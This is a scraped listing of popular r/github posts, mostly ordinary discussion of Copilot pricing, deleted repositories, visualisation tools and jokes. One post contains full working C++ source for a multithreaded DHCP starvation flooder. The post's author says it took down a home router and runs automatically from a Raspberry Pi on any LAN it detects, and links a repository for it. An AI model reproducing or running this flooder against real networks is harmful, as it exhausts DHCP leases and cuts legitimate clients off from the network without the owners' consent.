r/github • • Dec 18 '24

Friendly reminder to turn off this option if you plan to use GitHub Copilot

Post image
378 Upvotes

r/github • • Feb 14 '25

Github Copilot Leaks Peoples Filesystem

375 Upvotes

Copilot started suggesting a win file path as a comment, even though I'm not running Windows. When I provided the beginning of a C drive path, it randomly completed it with different people's filesystem paths. I assume this comes from its training data.


r/github • • Dec 19 '19

How to really backup your code!

Post image
375 Upvotes

r/github • • Jan 18 '26

Discussion GitHub loses independence as Microsoft absorbs developer platform into CoreAI

Thumbnail
ppc.land
369 Upvotes

r/github • • Oct 27 '25

Showcase GitHub Copilot’s filters might need a second look NSFW Spoiler

Thumbnail
gallery
368 Upvotes

r/github • • Apr 03 '24

Is it possible to change commit messages?

Thumbnail
gallery
360 Upvotes

I have some old commits, and they look a little unprofessional. Is there any way to change them? It’s quite funny, but in the event other people contribute to my code I’d like it to look a little better.


r/github • • Aug 11 '20

github.com Ad is a rick roll...

Post image
359 Upvotes

r/github • • Sep 21 '25

Tool / Resource “Your PR, but worse” — Github's most useless feature

Post image
358 Upvotes

r/github • • Mar 15 '25

Help! GitHub Deleted My Org Repositories After Enterprise Trial Expired

355 Upvotes

I’m in a really bad situation right now, and I need advice. I had an organization on GitHub (Mawlarize) that was on an Enterprise Trial, and I assumed that once the trial expired, it would just revert to a normal free organization. Instead, all my repositories were deleted—including all my updates, stars, and contributions!

I never got any clear warning that this would happen, and now I’ve lost months of work. I’ve already contacted GitHub support, but I wanted to ask here:

  • Has anyone experienced this before?

  • Is there any way to recover my repositories?

  • How long does GitHub support usually take to respond to issues like this?

I’m really frustrated because I thought GitHub would just downgrade the org, not completely wipe it. Any help or advice would be greatly appreciated!


r/github • • Sep 17 '26

Discussion Found a pretty neat GitHub trick today 👀

354 Upvotes

Take any GitHub repo URL and replace github.com with gitdiagram.com.

It generates a visual diagram of the repo structure, which is surprisingly useful when you’re trying to understand an unfamiliar codebase.

Example:

github.com/user/repo → gitdiagram.com/user/repo

Great little tool for getting the big picture before diving into the code. 🔍


r/github • • Mar 17 '25

Kinda addicted to the GitHub graph so I'm using it for everything else

Thumbnail
gallery
353 Upvotes

r/github • • Mar 08 '25

I rebuilt my personal portfolio using Next.js—it's fully open source, and I love it!

351 Upvotes

r/github • • Apr 18 '25 Bravo

Question Has your GitHub ever led to someone actually contacting you about your code or projects?

350 Upvotes

Has anyone ever reached out to you about something on your GitHub—ike, for any reason at all?


r/github • • Feb 16 '24

Please Someone give me some groundbreaking motivation to achieve this level of GREENERY !

Thumbnail
gallery
350 Upvotes

r/github • • Jun 24 '19

Have or know of a project on Github looking for contributors? Feel free to drop them down to add to the wiki page!

347 Upvotes

Since the past thread was pinned for just about 5 years and archived (no one could comment) I decided to repost the thread!

One thing people sometimes struggle with is finding projects on Github to contribute to. One thing projects sometimes struggle with is finding contributors! Enter our wiki page for this purpose.

The idea is that we'll add projects with some helpful information -- what language they're in, if they're particularly open to beginners, what they're for, etc.

So if you have, or know of a project open to or looking for contributors, post about it here and we'll add it to the wiki page.


r/github • • Oct 07 '26

Discussion status.github.com is NOT honest about their uptime

Post image
346 Upvotes

Don't trust status.github.com - they're not honest about their uptime. Currently says "All Systems Operational" but we know the truth GitHub 💀


r/github • • Jul 17 '20

GitHub saved hentai in Arctic

Post image
342 Upvotes

r/github • • Apr 07 '25

Everytime

Post image
341 Upvotes

r/github • • Jun 01 '26 This Bravo Popcorn Mindblown

Discussion GitHub Copilot's new credit-based pricing is highway robbery — and they know it

340 Upvotes

I've been a Copilot Pro+ subscriber since day one. $39/month felt steep but whatever, it was useful. Now they're switching to this AI Credits nonsense and I finally ran the numbers.

My projected bill next month: $847.

For the EXACT same usage pattern. That's not a price increase — that's a 22x markup.

Let's break down why this is absurd:

  1. 1 AI Credit = $0.01. So why call it a "credit"? Just say dollars. Oh right, because "you used 84,700 credits" sounds less terrifying than "you owe us $847." Classic dark pattern.

  2. They control the input, you pay the output. Copilot sends your entire file context, your workspace, your open tabs — stuff YOU didn't choose to include — and then charges YOU for the tokens. I didn't ask to send 50k tokens of context. That's YOUR architecture decision, GitHub. Why am I paying for it?

  3. Bait and switch. I signed up for an unlimited subscription product. Now it's pay-per-use with a "generous" allowance that covers maybe 2 days of normal work. This isn't the product I paid for. In any other industry this would be illegal.

  4. Middle-man pricing. I can use Claude or GPT-5 directly via API for a fraction of what GitHub charges per token. They're literally reselling API access at a 10-20x markup and acting like they're doing us a favor.

The worst part? They announced this with some corporate blog post about "flexibility" and "paying only for what you use." Yeah, flexible like a subscription trap. "Paying only for what you use" when you don't control what gets sent is just... paying for someone else's decisions.

I've already cancelled. Moved to Cursor + direct API keys. Same models, same workflow, 1/10th the cost.

GitHub, if you're reading this: you had a good thing and you got greedy. The community trusted you and you pulled the rug. Enjoy your short-term revenue bump while your subscriber count tanks.

TL;DR: Copilot's new credit pricing is a 10-22x cost increase disguised as "flexibility." Cancel and go direct to API providers. You'll save hundreds.

Edit: For everyone asking — yes, I checked the usage report before posting. My April bill under PRU was $38. Under AI Credits it projects to $847. Same usage. Same patterns. The math doesn't lie.

-- Written by Copilot


r/github • • Mar 03 '25

Coded a DHCP starvation code in c++ and brought down my home router lol

339 Upvotes

Just finished coding this DHCP flooder and thought I'd share how it works!

This is obviously for educational purposes only, but it's crazy how most routers (even enterprise-grade ones) aren't properly configured to handle DHCP packets and remain vulnerable to fake DHCP flooding.

The code is pretty straightforward but efficient. I'm using C++ with multithreading to maximize packet throughput. Here's what's happening under the hood: First, I create a packet pool of 1024 pre-initialized DHCP discovery packets to avoid constant reallocation. Each packet gets a randomized MAC address (starting with 52:54:00 prefix) and transaction ID. The real thing happens in the multithreaded approach, I spawn twice as many threads as CPU cores, with each thread sending a continuous stream of DHCP discover packets via UDP broadcast.

Every 1000 packets, the code refreshes the MAC address and transaction ID to ensure variety. To minimize contention, each thread maintains its own packet counter and only periodically updates the global counter. I'm using atomic variables and memory ordering to ensure proper synchronization without excessive overhead. The display thread shows real-time statistics every second, total packets sent, current rate, and average rate since start. My tests show it can easily push tens of thousands of packets per second on modest hardware with LAN.

The socket setup is pretty basic, creating a UDP socket with broadcast permission and sending to port 67 (standard DHCP server port). What surprised me was how easily this can overwhelm improperly configured networks. Without proper DHCP snooping or rate limiting, this kind of traffic can eat up all available DHCP leases and cause the clients to fail connecting and ofc no access to internet. The router will be too busy dealing with the fake packets that it ignores the actual clients lol. When you stop the code, the servers will go back to normal after a couple of minutes though.

Edit: I'm using raspberry pi to automatically run the code when it detects a LAN HAHAHA.

Not sure if I should share the exact code, well for obvious reasons lmao.

Edit: Fuck it, here is the code, be good boys and don't use it in a bad way, it's not optimized anyways lmao, can make it even create millions a sec lol

I also added it on github here: https://github.com/Ehsan187228/DHCP

#include <iostream>
#include <cstring>
#include <cstdlib>
#include <ctime>
#include <thread>
#include <chrono>
#include <vector>
#include <atomic>
#include <random>
#include <array>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <unistd.h>
#include <iomanip>

#pragma pack(push, 1)
struct DHCP {
    uint8_t op;
    uint8_t htype;
    uint8_t hlen;
    uint8_t hops;
    uint32_t xid;
    uint16_t secs;
    uint16_t flags;
    uint32_t ciaddr;
    uint32_t yiaddr;
    uint32_t siaddr;
    uint32_t giaddr;
    uint8_t chaddr[16];
    char sname[64];
    char file[128];
    uint8_t options[240];
};
#pragma pack(pop)

constexpr size_t PACKET_POOL_SIZE = 1024;
std::array<DHCP, PACKET_POOL_SIZE> packet_pool;
std::atomic<uint64_t> packets_sent_last_second(0);
std::atomic<bool> should_exit(false);

void generate_random_mac(uint8_t* mac) {
    static thread_local std::mt19937 gen(std::random_device{}());
    static std::uniform_int_distribution<> dis(0, 255);

    mac[0] = 0x52;
    mac[1] = 0x54;
    mac[2] = 0x00;
    mac[3] = dis(gen) & 0x7F;
    mac[4] = dis(gen);
    mac[5] = dis(gen);
}

void initialize_packet_pool() {
    for (auto& packet : packet_pool) {
        packet.op = 1;  // BOOTREQUEST
        packet.htype = 1;  // Ethernet
        packet.hlen = 6;  // MAC address length
        packet.hops = 0;
        packet.secs = 0;
        packet.flags = htons(0x8000);  // Broadcast
        packet.ciaddr = 0;
        packet.yiaddr = 0;
        packet.siaddr = 0;
        packet.giaddr = 0;

        generate_random_mac(packet.chaddr);

        // DHCP Discover options
        packet.options[0] = 53;  // DHCP Message Type
        packet.options[1] = 1;   // Length
        packet.options[2] = 1;   // Discover
        packet.options[3] = 255; // End option

        // Randomize XID
        packet.xid = rand();
    }
}

void send_packets(int thread_id) {
    int sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0) {
        perror("Failed to create socket");
        return;
    }

    int broadcast = 1;
    if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &broadcast, sizeof(broadcast)) < 0) {
        perror("Failed to set SO_BROADCAST");
        close(sock);
        return;
    }

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(67);
    addr.sin_addr.s_addr = INADDR_BROADCAST;

    uint64_t local_counter = 0;
    size_t packet_index = thread_id % PACKET_POOL_SIZE;

    while (!should_exit.load(std::memory_order_relaxed)) {
        DHCP& packet = packet_pool[packet_index];
        
        // Update MAC and XID for some variability
        if (local_counter % 1000 == 0) {
            generate_random_mac(packet.chaddr);
            packet.xid = rand();
        }

        if (sendto(sock, &packet, sizeof(DHCP), 0, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
            perror("Failed to send packet");
        } else {
            local_counter++;
        }

        packet_index = (packet_index + 1) % PACKET_POOL_SIZE;

        if (local_counter % 10000 == 0) {  // Update less frequently to reduce atomic operations
            packets_sent_last_second.fetch_add(local_counter, std::memory_order_relaxed);
            local_counter = 0;
        }
    }

    close(sock);
}

void display_count() {
    uint64_t total_packets = 0;
    auto start_time = std::chrono::steady_clock::now();

    while (!should_exit.load(std::memory_order_relaxed)) {
        std::this_thread::sleep_for(std::chrono::seconds(1));
        auto current_time = std::chrono::steady_clock::now();
        uint64_t packets_this_second = packets_sent_last_second.exchange(0, std::memory_order_relaxed);
        total_packets += packets_this_second;

        double elapsed_time = std::chrono::duration<double>(current_time - start_time).count();
        double rate = packets_this_second;
        double avg_rate = total_packets / elapsed_time;

        std::cout << "Packets sent: " << total_packets 
                  << ", Rate: " << std::fixed << std::setprecision(2) << rate << " pps"
                  << ", Avg: " << std::fixed << std::setprecision(2) << avg_rate << " pps" << std::endl;
    }
}

int main() {
    srand(time(nullptr));
    initialize_packet_pool();

    unsigned int num_threads = std::thread::hardware_concurrency() * 2;
    std::vector<std::thread> threads;

    for (unsigned int i = 0; i < num_threads; i++) {
        threads.emplace_back(send_packets, i);
    }

    std::thread display_thread(display_count);

    std::cout << "Press Enter to stop..." << std::endl;
    std::cin.get();
    should_exit.store(true, std::memory_order_relaxed);

    for (auto& t : threads) {
        t.join();
    }
    display_thread.join();

    return 0;
}

r/github • • Jun 30 '25

Discussion So apparently, the 1 billionth GitHub repo has been sold?

337 Upvotes

The 1 billionth repo of github, which was named 'shit' was kept for sale by the owner and has now been sold? haha okay?


r/github • • Dec 10 '24

I was having a terrible day until..

Post image
336 Upvotes

r/github • • Feb 09 '26

Discussion Github is down finally🔥. Ai is doing its job 🤣

331 Upvotes

r/github • • Dec 14 '20

Made an isometric commit calendar generator that you can display on your GitHub profile !

Post image
331 Upvotes